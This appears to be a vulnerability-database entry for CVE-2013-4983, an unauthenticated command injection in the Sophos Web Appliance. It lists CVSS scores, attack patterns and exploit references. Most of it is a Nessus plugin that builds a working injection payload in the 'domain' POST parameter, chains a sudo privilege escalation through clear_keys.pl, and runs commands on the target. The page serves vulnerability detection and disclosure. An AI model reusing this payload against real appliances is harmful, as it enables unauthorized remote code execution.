Vulnerabilities > CVE-2013-4983 - OS Command Injection vulnerability in Sophos web Appliance Firmware

047910
CVSS 10.0 - CRITICAL
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
COMPLETE
Integrity impact
COMPLETE
Availability impact
COMPLETE
network
low complexity
sophos
CWE-78
critical
nessus
exploit available
metasploit

Summary

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows remote attackers to execute arbitrary commands via shell metacharacters in the domain parameter to end-user/index.php.

Vulnerable Configurations

Part Description Count
Application
Sophos
1
OS
Sophos
74
Hardware
Sophos
1

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Command Line Execution through SQL Injection
    An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
  • Command Delimiters
    An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or a blacklist input validation, as opposed to whitelist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or blacklist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
  • Exploiting Multiple Input Interpretation Layers
    An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.
  • Argument Injection
    An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.
  • OS Command Injection
    In this type of an attack, an adversary injects operating system commands into existing application functions. An application that uses untrusted input to build command strings is vulnerable. An adversary can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.

D2sec

nameSophos Web Protection Appliance 3.8.1 RCE
urlhttp://www.d2sec.com/exploits/sophos_web_protection_appliance_3.8.1_rce.html

Exploit-Db

  • descriptionSophos Web Protection Appliance - Multiple Vulnerabilities. CVE-2013-4983,CVE-2013-4984. Webapps exploit for linux platform
    idEDB-ID:28175
    last seen2016-02-03
    modified2013-09-09
    published2013-09-09
    reporterCore Security
    sourcehttps://www.exploit-db.com/download/28175/
    titleSophos Web Protection Appliance - Multiple Vulnerabilities
  • descriptionSophos Web Protection Appliance sblistpack Arbitrary Command Execution. CVE-2013-4983. Remote exploit for linux platform
    idEDB-ID:28334
    last seen2016-02-03
    modified2013-09-17
    published2013-09-17
    reportermetasploit
    sourcehttps://www.exploit-db.com/download/28334/
    titleSophos Web Protection Appliance sblistpack Arbitrary Command Execution

Metasploit

descriptionThis module exploits a command injection vulnerability on Sophos Web Protection Appliance 3.7.9, 3.8.0 and 3.8.1. The vulnerability exists on the sblistpack component, reachable from the web interface without authentication. This module has been tested successfully on Sophos Virtual Web Appliance 3.7.0.
idMSF:EXPLOIT/LINUX/HTTP/SOPHOS_WPA_SBLISTPACK_EXEC
last seen2020-06-08
modified2017-07-24
published2013-09-10
references
reporterRapid7
sourcehttps://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/linux/http/sophos_wpa_sblistpack_exec.rb
titleSophos Web Protection Appliance sblistpack Arbitrary Command Execution

Nessus

NASL familyCGI abuses
NASL idSOPHOS_WEB_PROTECTION_COMMAND_INJECTION.NASL
descriptionThe Sophos Web Protection application running on the remote host is affected by multiple vulnerabilities : - A remote command execution vulnerability exists in the /opt/ws/bin/sblistpack Perl script due to improper sanitization of user-supplied input when the
last seen2020-06-01
modified2020-06-02
plugin id70142
published2013-09-26
reporterThis script is Copyright (C) 2013-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
sourcehttps://www.tenable.com/plugins/nessus/70142
titleSophos Web Protection Appliance Multiple Vulnerabilities
code
#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(70142);
  script_version("1.12");
  script_cvs_date("Date: 2019/11/27");

  script_cve_id("CVE-2013-4983", "CVE-2013-4984");
  script_bugtraq_id(62263, 62265);
  script_xref(name:"EDB-ID", value:"28175");
  script_xref(name:"EDB-ID", value:"28332");
  script_xref(name:"EDB-ID", value:"28334");

  script_name(english:"Sophos Web Protection Appliance Multiple Vulnerabilities");
  script_summary(english:"Attempts to execute an OS command.");

  script_set_attribute(attribute:"synopsis", value:
"The remote host is running a web application that is affected by
multiple vulnerabilities.");
  script_set_attribute(attribute:"description", value:
"The Sophos Web Protection application running on the remote host is
affected by multiple vulnerabilities :

  - A remote command execution vulnerability exists in the
    /opt/ws/bin/sblistpack Perl script due to improper
    sanitization of user-supplied input when the 'action'
    parameter is set to 'continue' and the 'args_reason'
    parameter is set to anything other than 'filetypewarn'.
    An unauthenticated, remote attacker can exploit this by
    sending a specially crafted request to the
    /end-user/index.php script, resulting in the execution
    of arbitrary commands subject to the privileges of the 
    'spiderman' user id. (CVE-2013-4983)

  - A privilege escalation vulnerability exists in the
    close_connections() function in the clear_keys.pl script
    due to a failure to properly escape second arguments. A
    local attacker can exploit this to escalate privileges.
    (CVE-2013-4984)

Note that the application is reportedly affected by a cross-site
scripting vulnerability; however, this plugin has not tested for it.");
  # https://www.secureauth.com/labs/advisories/sophos-web-protection-appliance-multiple-vulnerabilities
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?e2867f81");
  # https://web.archive.org/web/20150425170751/https://www.sophos.com/en-us/support/knowledgebase/119773.aspx
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?6d3b1f2b");
  script_set_attribute(attribute:"solution", value:
"Upgrade to Sophos Web Protection Appliance version 3.7.9.1 / 3.8.1.1
or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploit_framework_core", value:"true");
  script_set_attribute(attribute:"d2_elliot_name", value:"Sophos Web Protection Appliance 3.8.1 RCE");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Sophos Web Protection Appliance clear_keys.pl Local Privilege Escalation');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
  script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
  script_set_attribute(attribute:"canvas_package", value:'D2ExploitPack');

  script_set_attribute(attribute:"vuln_publication_date", value:"2013/09/06");
  script_set_attribute(attribute:"patch_publication_date", value:"2013/09/06");
  script_set_attribute(attribute:"plugin_publication_date", value:"2013/09/26");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:sophos:web_appliance");
  script_set_attribute(attribute:"cpe", value:"x-cpe:/a:sophos:sophos_web_protection");
  script_end_attributes();

  script_category(ACT_DESTRUCTIVE_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2013-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("sophos_web_protection_detect.nasl");
  script_require_keys("installed_sw/sophos_web_protection");
  script_require_ports("Services/www", 443);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
include("url_func.inc");
include("data_protection.inc");

get_install_count(app_name:'sophos_web_protection', exit_if_zero:TRUE);
port = get_http_port(default:443);
install = get_single_install(app_name:'sophos_web_protection', port:port);

dir = install['dir'];
install_url = build_url(qs:dir, port:port);

cmd = "id";
cmd_pat = "uid=[0-9]+.*gid=[0-9]+.*";

# nb: Domain and user can be any arbitrary values in this attack
domain = "localhost";
user = "nessus";
time = unixtime();
script = SCRIPT_NAME - ".nasl" + '-' + time;
path = "/opt/ui/apache/htdocs/backup/";

attack = 'sudo /opt/cma/bin/clear_keys.pl ' +time+ ' ";`echo ' +cmd+ '` > ' +
  path+script+'.txt;" /' +time;

postdata =
  "url=" +base64(str:domain)+ "&args_reason=any&filetype=dummy&user="
  +user+ "&user_encoded=" +base64(str:user)+ "&domain=" +domain+ ';echo ' +
  base64(str:attack)+ '|base64 --decode > ' +path+script+
  '.sh;chmod u+rwx ' +path+script+ '.sh;sh ' +path+script+ '.sh;rm '
  +path+script+ '.sh&raw_category_id=one|two|three|four';

postdata = urlencode(
  str        : postdata,
  unreserved : "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234" +
                 "56789=+&_.-"
);

res = http_send_recv3(
  method : "POST",
  port   : port,
  item   : dir + "/end-user/index.php?c=blocked&action=continue",
  data   : postdata,
  add_headers : make_array("Content-Type", "application/x-www-form-urlencoded"),  
  exit_on_fail: TRUE
);

attack_req = http_last_sent_request();

# nb: The file we created above will end up in /backup
upload_url = "backup/" +script+ ".txt";
res2 = http_send_recv3(
  method : "GET",
  port   : port,
  item   : dir + "/" + upload_url,
  exit_on_fail : TRUE
);

if (egrep(pattern:cmd_pat, string:res2[2]))
{
  if (report_verbosity > 0)
  {
    report =
      '\nNessus was able to execute the command "' +cmd+ '" on the remote' +
      ' host' + '\nusing the following request :' +
      '\n' +
      '\n' +attack_req+
      '\n' +
      '\nNessus verified this by requesting the following URL and examining' +
      '\nthe output :' +
      '\n\n  ' + install_url + upload_url +
      '\n' +
      '\n(Note that the file at :\n' +path+script+ '.txt' +
      '\nhas not been removed and will need to be manually deleted.)' +
      '\n';

    if (report_verbosity > 1)
    {
      snip = crap(data:"-", length:30)+' snip '+ crap(data:"-", length:30);
      report +=
        '\nThis produced the following output :' +
        '\n' +
        '\n' + snip +
        '\n' + data_protection::sanitize_uid(output:chomp(res2[2])) +
        '\n' + snip +
        '\n';
    }
    security_hole(port:port, extra:report);
  }
  else security_hole(port);
  exit(0);
}
audit(AUDIT_WEB_APP_NOT_AFFECTED, "Sophos Web Protection", install_url);

Packetstorm

Seebug

bulletinFamilyexploit
descriptionNo description provided by source.
idSSV:81753
last seen2017-11-19
modified2014-07-01
published2014-07-01
reporterRoot
sourcehttps://www.seebug.org/vuldb/ssvid-81753
titleSophos Web Protection Appliance - Multiple Vulnerabilities